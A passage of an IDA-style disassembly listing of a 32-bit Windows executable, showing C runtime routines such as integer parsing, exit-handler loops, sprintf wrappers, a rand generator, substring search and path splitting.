		jle	short loc_4216B7
		push	8
		mov	eax, [ebp+8]
		xor	ecx, ecx
		mov	cl, [eax]
		push	ecx
		call	sub_429750
		add	esp, 8
		mov	[ebp-14h], eax
		jmp	short loc_4216D0
; ---------------------------------------------------------------------------


loc_4216B7:				; CODE XREF: .XComp0:0042169Ej
		mov	edx, [ebp+8]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_4522E4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8
		mov	[ebp-14h], edx


loc_4216D0:				; CODE XREF: .XComp0:004216B5j
		cmp	dword ptr [ebp-14h], 0
		jz	short loc_4216E1
		mov	eax, [ebp+8]
		add	eax, 1
		mov	[ebp+8], eax
		jmp	short loc_421697
; ---------------------------------------------------------------------------


loc_4216E1:				; CODE XREF: .XComp0:004216D4j
		mov	ecx, [ebp+8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp-4], edx
		mov	eax, [ebp+8]
		add	eax, 1
		mov	[ebp+8], eax
		mov	ecx, [ebp-4]
		mov	[ebp-10h], ecx
		cmp	dword ptr [ebp-4], 2Dh
		jz	short loc_421706
		cmp	dword ptr [ebp-4], 2Bh
		jnz	short loc_421719


loc_421706:				; CODE XREF: .XComp0:004216FEj
		mov	edx, [ebp+8]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		add	ecx, 1
		mov	[ebp+8], ecx


loc_421719:				; CODE XREF: .XComp0:00421704j
		mov	dword ptr [ebp-0Ch], 0
		mov	dword ptr [ebp-8], 0


loc_421727:				; CODE XREF: .XComp0:00421797j
		cmp	dword_4524F0, 1
		jle	short loc_421743
		push	4
		mov	edx, [ebp-4]
		push	edx
		call	sub_429750
		add	esp, 8
		mov	[ebp-18h], eax
		jmp	short loc_421758
; ---------------------------------------------------------------------------


loc_421743:				; CODE XREF: .XComp0:0042172Ej
		mov	eax, [ebp-4]
		mov	ecx, off_4522E4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp-18h], edx


loc_421758:				; CODE XREF: .XComp0:00421741j
		cmp	dword ptr [ebp-18h], 0
		jz	short loc_421799
		push	0
		push	0Ah
		mov	eax, [ebp-8]
		push	eax
		mov	ecx, [ebp-0Ch]
		push	ecx
		call	sub_42A3F0
		mov	ecx, eax
		mov	esi, edx
		mov	eax, [ebp-4]
		sub	eax, 30h
		cdq
		add	ecx, eax
		adc	esi, edx
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], esi
		mov	edx, [ebp+8]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		add	ecx, 1
		mov	[ebp+8], ecx
		jmp	short loc_421727
; ---------------------------------------------------------------------------


loc_421799:				; CODE XREF: .XComp0:0042175Cj
		cmp	dword ptr [ebp-10h], 2Dh
		jnz	short loc_4217AE
		mov	eax, [ebp-0Ch]
		neg	eax
		mov	edx, [ebp-8]
		adc	edx, 0
		neg	edx
		jmp	short loc_4217B4
; ---------------------------------------------------------------------------


loc_4217AE:				; CODE XREF: .XComp0:0042179Dj
		mov	eax, [ebp-0Ch]
		mov	edx, [ebp-8]


loc_4217B4:				; CODE XREF: .XComp0:004217ACj
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217C0	proc near		; CODE XREF: .XComp0:004248E2p
		push	ebp
		mov	ebp, esp
		cmp	off_44FF1C, 0
		jz	short loc_4217D2
		call	off_44FF1C


loc_4217D2:				; CODE XREF: sub_4217C0+Aj
		push	offset dword_44102C
		push	offset dword_441018
		call	sub_421990
		add	esp, 8
		push	offset dword_441014
		push	offset dword_441000
		call	sub_421990
		add	esp, 8
		pop	ebp
		retn
sub_4217C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421800	proc near		; CODE XREF: .XComp0:0042493Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_421880
		add	esp, 0Ch
		pop	ebp
		retn
sub_421800	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421820	proc near		; CODE XREF: .XComp0:00424964p
					; sub_424980+22p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_421880
		add	esp, 0Ch
		pop	ebp
		retn
sub_421820	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	0
		push	0
		call	sub_421880
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	1
		push	0
		call	sub_421880
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421880	proc near		; CODE XREF: sub_421800+Bp
					; sub_421820+Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_421970
		cmp	dword_4E9234, 1
		jnz	short loc_4218A3
		mov	eax, [ebp+arg_0]
		push	eax
		call	near ptr 2850A56h
		nop
		push	eax
		nop
		call	near ptr 28503F0h


loc_4218A3:				; CODE XREF: sub_421880+10j
		mov	dword_4E9230, 1
		mov	cl, byte ptr [ebp+arg_8]
		mov	byte_4E922C, cl
		cmp	[ebp+arg_4], 0
		jnz	short loc_421903
		cmp	dword_4EA914, 0
		jz	short loc_4218F1
		mov	edx, dword_4EA910
		mov	[ebp+var_4], edx


loc_4218CE:				; CODE XREF: sub_421880:loc_4218EFj
		mov	eax, [ebp+var_4]
		sub	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4EA914
		jb	short loc_4218F1
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0
		jz	short loc_4218EF
		mov	eax, [ebp+var_4]
		call	dword ptr [eax]


loc_4218EF:				; CODE XREF: sub_421880+68j
		jmp	short loc_4218CE
; ---------------------------------------------------------------------------


loc_4218F1:				; CODE XREF: sub_421880+43j
					; sub_421880+60j
		push	offset dword_441038
		push	offset dword_441030
		call	sub_421990
		add	esp, 8


loc_421903:				; CODE XREF: sub_421880+3Aj
		push	offset dword_441044
		push	offset dword_44103C
		call	sub_421990
		add	esp, 8
		cmp	dword_4E9238, 0
		jnz	short loc_42193E
		push	0FFFFFFFFh
		call	sub_4204E0
		add	esp, 4
		and	eax, 20h
		test	eax, eax
		jz	short loc_42193E
		mov	dword_4E9238, 1
		call	sub_420F90


loc_42193E:				; CODE XREF: sub_421880+9Cj
					; sub_421880+ADj
		cmp	[ebp+arg_8], 0
		jz	short loc_42194B
		call	sub_421980
		jmp	short loc_42195F
; ---------------------------------------------------------------------------


loc_42194B:				; CODE XREF: sub_421880+C2j
		mov	dword_4E9234, 1
		mov	ecx, [ebp+arg_0]
		push	ecx
		nop
		call	near ptr 7C81CDDAh


loc_42195F:				; CODE XREF: sub_421880+C9j
		mov	esp, ebp
		pop	ebp
		retn
sub_421880	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421970	proc near		; CODE XREF: sub_421880+4p
					; sub_423BB0+4p
		push	ebp
		mov	ebp, esp
		push	0Dh
		call	sub_425990
		add	esp, 4
		pop	ebp
		retn
sub_421970	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421980	proc near		; CODE XREF: sub_421880+C4p
					; sub_423BB0+61p ...
		push	ebp
		mov	ebp, esp
		push	0Dh
		call	sub_425A30
		add	esp, 4
		pop	ebp
		retn
sub_421980	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421990	proc near		; CODE XREF: sub_4217C0+1Cp
					; sub_4217C0+2Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp


loc_421993:				; CODE XREF: sub_421990+21j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_4219B3
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx], 0
		jz	short loc_4219A8
		mov	edx, [ebp+arg_0]
		call	dword ptr [edx]


loc_4219A8:				; CODE XREF: sub_421990+11j
		mov	eax, [ebp+arg_0]
		add	eax, 4
		mov	[ebp+arg_0], eax
		jmp	short loc_421993
; ---------------------------------------------------------------------------


loc_4219B3:				; CODE XREF: sub_421990+9j
		pop	ebp
		retn
sub_421990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219C0	proc near		; CODE XREF: sub_4016A7+1F4p
					; sub_4016A7+325p ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax
		lea	ecx, [ebp+arg_8]
		mov	[ebp+var_2C], ecx


loc_4219D5:				; CODE XREF: sub_4219C0+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_4219F9
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	5Dh
		push	offset aSprintf_c ; "sprintf.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4219F9
		int	3		; Trap to Debugger


loc_4219F9:				; CODE XREF: sub_4219C0+19j
					; sub_4219C0+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_4219D5


loc_4219FF:				; CODE XREF: sub_4219C0+67j
		cmp	[ebp+arg_4], 0
		jnz	short loc_421A23
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	5Eh
		push	offset aSprintf_c ; "sprintf.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_421A23
		int	3		; Trap to Debugger


loc_421A23:				; CODE XREF: sub_4219C0+43j
					; sub_4219C0+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4219FF
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx+0Ch], 42h
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+arg_0]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	eax, [ebp+var_24]
		mov	dword ptr [eax+4], 7FFFFFFFh
		mov	ecx, [ebp+var_2C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_42A6B0
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+var_24]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_24]
		cmp	dword ptr [ecx+4], 0
		jl	short loc_421A9F
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		mov	byte ptr [eax],	0
		xor	ecx, ecx
		and	ecx, 0FFh
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_24]
		mov	[ecx], eax
		jmp	short loc_421AB0
; ---------------------------------------------------------------------------


loc_421A9F:				; CODE XREF: sub_4219C0+BBj
		mov	edx, [ebp+var_24]
		push	edx
		push	0
		call	sub_42A430
		add	esp, 8
		mov	[ebp+var_30], eax


loc_421AB0:				; CODE XREF: sub_4219C0+DDj
		mov	eax, [ebp+var_28]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4219C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421AC0	proc near		; CODE XREF: sub_4016A7+61p
					; sub_4021E5+8C1Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		call	sub_42B630
		mov	ecx, [ebp+arg_0]
		mov	[eax+14h], ecx
		pop	ebp
		retn
sub_421AC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421AD0	proc near		; CODE XREF: sub_4016A7+1C0p
					; sub_4016A7:loc_401C3Bp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_42B630
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+14h]
		imul	ecx, 343FDh
		add	ecx, 269EC3h
		mov	edx, [ebp+var_4]
		mov	[edx+14h], ecx
		mov	eax, [ebp+var_4]
		mov	eax, [eax+14h]
		shr	eax, 10h
		and	eax, 7FFFh
		mov	esp, ebp
		pop	ebp
		retn
sub_421AD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_421B10	proc near		; CODE XREF: sub_4016A7+17Cp
					; sub_4021E5+A6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_421B8A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_421B77


loc_421B28:				; CODE XREF: sub_421B10+52j
					; sub_421B10+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_421B4A
		test	al, al
		jz	short loc_421B44


loc_421B39:				; CODE XREF: sub_421B10+32j
		mov	al, [esi]
		inc	esi


loc_421B3C:				; CODE XREF: sub_421B10+3Fj
		cmp	al, dl
		jz	short loc_421B4A
		test	al, al
		jnz	short loc_421B39


loc_421B44:				; CODE XREF: sub_421B10+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421B4A:				; CODE XREF: sub_421B10+23j
					; sub_421B10+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_421B3C
		lea	edi, [esi-1]


loc_421B54:				; CODE XREF: sub_421B10+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_421B83
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_421B28
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_421B83
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_421B54
		jmp	short loc_421B28
; ---------------------------------------------------------------------------


loc_421B77:				; CODE XREF: sub_421B10+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_422686
; ---------------------------------------------------------------------------


loc_421B83:				; CODE XREF: sub_421B10+49j
					; sub_421B10+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_421B8A:				; CODE XREF: sub_421B10+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_421B10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421B90	proc near		; CODE XREF: sub_4016A7+166p
					; sub_4021E5+1BD9p ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax
		lea	ecx, [ebp+arg_C]
		mov	[ebp+var_2C], ecx


loc_421BA5:				; CODE XREF: sub_421B90+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_421BC9
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	5Dh
		push	offset aSprintf_c ; "sprintf.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_421BC9
		int	3		; Trap to Debugger


loc_421BC9:				; CODE XREF: sub_421B90+19j
					; sub_421B90+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_421BA5


loc_421BCF:				; CODE XREF: sub_421B90+67j
		cmp	[ebp+arg_8], 0
		jnz	short loc_421BF3
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	5Eh
		push	offset aSprintf_c ; "sprintf.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_421BF3
		int	3		; Trap to Debugger


loc_421BF3:				; CODE XREF: sub_421B90+43j
					; sub_421B90+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_421BCF
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx+0Ch], 42h
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+arg_0]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+arg_4]
		mov	[eax+4], ecx
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		call	sub_42A6B0
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		mov	edx, [ebp+var_24]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	ecx, [ebp+var_24]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_24]
		cmp	dword ptr [edx+4], 0
		jl	short loc_421C6E
		mov	eax, [ebp+var_24]
		mov	ecx, [eax]
		mov	byte ptr [ecx],	0
		xor	edx, edx
		and	edx, 0FFh
		mov	[ebp+var_30], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+var_24]
		mov	[edx], ecx
		jmp	short loc_421C7F
; ---------------------------------------------------------------------------


loc_421C6E:				; CODE XREF: sub_421B90+BAj
		mov	eax, [ebp+var_24]
		push	eax
		push	0
		call	sub_42A430
		add	esp, 8
		mov	[ebp+var_30], eax


loc_421C7F:				; CODE XREF: sub_421B90+DCj
		mov	eax, [ebp+var_28]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_421B90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421C90	proc near		; CODE XREF: sub_4016A7+13Fp
					; sub_4021E5+36A5p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_C], 0
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41EBD0
		add	esp, 4
		cmp	eax, 1
		jb	short loc_421CEB
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx+1]
		cmp	edx, 3Ah
		jnz	short loc_421CEB
		cmp	[ebp+arg_4], 0
		jz	short loc_421CE0
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_42C010
		add	esp, 0Ch
		mov	edx, [ebp+arg_4]
		mov	byte ptr [edx+2], 0


loc_421CE0:				; CODE XREF: sub_421C90+35j
		mov	eax, [ebp+arg_0]
		add	eax, 2
		mov	[ebp+arg_0], eax
		jmp	short loc_421CF7
; ---------------------------------------------------------------------------


loc_421CEB:				; CODE XREF: sub_421C90+23j
					; sub_421C90+2Fj
		cmp	[ebp+arg_4], 0
		jz	short loc_421CF7
		mov	ecx, [ebp+arg_4]
		mov	byte ptr [ecx],	0


loc_421CF7:				; CODE XREF: sub_421C90+59j
					; sub_421C90+5Fj
		mov	[ebp+var_C], 0
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		jmp	short loc_421D0F
; ---------------------------------------------------------------------------


loc_421D06:				; CODE XREF: sub_421C90:loc_421D6Cj
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_421D0F:				; CODE XREF: sub_421C90+74j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_421D6E
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		xor	edx, edx
		mov	dl, byte_4E97C1[ecx]
		and	edx, 4
		test	edx, edx
		jz	short loc_421D3A
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_421D6C
; ---------------------------------------------------------------------------


loc_421D3A:				; CODE XREF: sub_421C90+9Dj
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 2Fh
		jz	short loc_421D50
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 5Ch
		jnz	short loc_421D5B


loc_421D50:				; CODE XREF: sub_421C90+B3j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_C], edx
		jmp	short loc_421D6C
; ---------------------------------------------------------------------------


loc_421D5B:				; CODE XREF: sub_421C90+BEj
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 2Eh
		jnz	short loc_421D6C
		mov	edx, [ebp+var_4]
		mov	[ebp+var_8], edx


loc_421D6C:				; CODE XREF: sub_421C90+A8j
					; sub_421C90+C9j ...
		jmp	short loc_421D06
; ---------------------------------------------------------------------------


loc_421D6E:				; CODE XREF: sub_421C90+87j
		cmp	[ebp+var_C], 0
		jz	short loc_421DC4
		cmp	[ebp+arg_8], 0
		jz	short loc_421DBC
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+arg_0]
		cmp	eax, 0FFh
		jnb	short loc_421D92
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+arg_0]
		mov	[ebp+var_14], ecx
		jmp	short loc_421D99
; ---------------------------------------------------------------------------


loc_421D92:				; CODE XREF: sub_421C90+F5j
		mov	[ebp+var_14], 0FFh


loc_421D99:				; CODE XREF: sub_421C90+100j
		mov	edx, [ebp+var_14]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		call	sub_42C010
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+var_10]
		mov	byte ptr [eax],	0


loc_421DBC:				; CODE XREF: sub_421C90+E8j
		mov	ecx, [ebp+var_C]
		mov	[ebp+arg_0], ecx
		jmp	short loc_421DD0
; ---------------------------------------------------------------------------


loc_421DC4:				; CODE XREF: sub_421C90+E2j
		cmp	[ebp+arg_8], 0
		jz	short loc_421DD0
		mov	edx, [ebp+arg_8]
		mov	byte ptr [edx],	0


loc_421DD0:				; CODE XREF: sub_421C90+132j
					; sub_421C90+138j
		cmp	[ebp+var_8], 0
		jz	loc_421E7A
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_0]
		jb	loc_421E7A
		cmp	[ebp+arg_C], 0
		jz	short loc_421E2F
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+arg_0]
		cmp	ecx, 0FFh
		jnb	short loc_421E05
		mov	edx, [ebp+var_8]
		sub	edx, [ebp+arg_0]
		mov	[ebp+var_18], edx
		jmp	short loc_421E0C
; ---------------------------------------------------------------------------


loc_421E05:				; CODE XREF: sub_421C90+168j
		mov	[ebp+var_18], 0FFh


loc_421E0C:				; CODE XREF: sub_421C90+173j
		mov	eax, [ebp+var_18]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_42C010
		add	esp, 0Ch
		mov	ecx, [ebp+arg_C]
		add	ecx, [ebp+var_10]
		mov	byte ptr [ecx],	0


loc_421E2F:				; CODE XREF: sub_421C90+15Aj
		cmp	[ebp+arg_10], 0
		jz	short loc_421E78
		mov	edx, [ebp+var_4]
		sub	edx, [ebp+var_8]
		cmp	edx, 0FFh
		jnb	short loc_421E4E
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		jmp	short loc_421E55
; ---------------------------------------------------------------------------


loc_421E4E:				; CODE XREF: sub_421C90+1B1j
		mov	[ebp+var_1C], 0FFh


loc_421E55:				; CODE XREF: sub_421C90+1BCj
		mov	ecx, [ebp+var_1C]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		call	sub_42C010
		add	esp, 0Ch
		mov	edx, [ebp+arg_10]
		add	edx, [ebp+var_10]
		mov	byte ptr [edx],	0


loc_421E78:				; CODE XREF: sub_421C90+1A3j
		jmp	short loc_421ECE
; ---------------------------------------------------------------------------


loc_421E7A:				; CODE XREF: sub_421C90+144j
					; sub_421C90+150j
		cmp	[ebp+arg_C], 0
		jz	short loc_421EC2
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		cmp	eax, 0FFh
		jnb	short loc_421E98
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_0]
		mov	[ebp+var_20], ecx
		jmp	short loc_421E9F
; ---------------------------------------------------------------------------


loc_421E98:				; CODE XREF: sub_421C90+1FBj
		mov	[ebp+var_20], 0FFh


loc_421E9F:				; CODE XREF: sub_421C90+206j
		mov	edx, [ebp+var_20]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_42C010
		add	esp, 0Ch
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+var_10]
		mov	byte ptr [eax],	0


loc_421EC2:				; CODE XREF: sub_421C90+1EEj
		cmp	[ebp+arg_10], 0
		jz	short loc_421ECE
		mov	ecx, [ebp+arg_10]
		mov	byte ptr [ecx],	0


loc_421ECE:				; CODE XREF: sub_421C90:loc_421E78j
					; sub_421C90+236j
		mov	esp, ebp
		pop	ebp
		retn
sub_421C90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_421EE0	proc near		; CODE XREF: sub_401FD0+8p
					; sub_4021E5+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_421F00


loc_421EEC:				; CODE XREF: sub_421EE0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_421EEC


loc_421F00:				; CODE XREF: sub_421EE0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_421EE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F10	proc near		; CODE XREF: sub_4021E5+8DC6p
					; .XComp0:00421F67p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		nop
		call	near ptr 27B0806h
		test	eax, eax
		jnz	short loc_421F2D
		nop
		call	near ptr 27B0F7Fh
		mov	[ebp+var_4], eax
		jmp	short loc_421F34
; ---------------------------------------------------------------------------


loc_421F2D:				; CODE XREF: sub_421F10+10j
		mov	[ebp+var_4], 0


loc_421F34:				; CODE XREF: sub_421F10+1Bj
		cmp	[ebp+var_4], 0
		jz	short loc_421F4B
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42C140
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_421F4D
; ---------------------------------------------------------------------------


loc_421F4B:				; CODE XREF: sub_421F10+28j
		xor	eax, eax


loc_421F4D:				; CODE XREF: sub_421F10+39j
		mov	esp, ebp
		pop	ebp
		retn
sub_421F10	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	eax
		call	sub_421F10
		add	esp, 4
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F80	proc near		; CODE XREF: sub_4021E5+8CD8p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+arg_8]
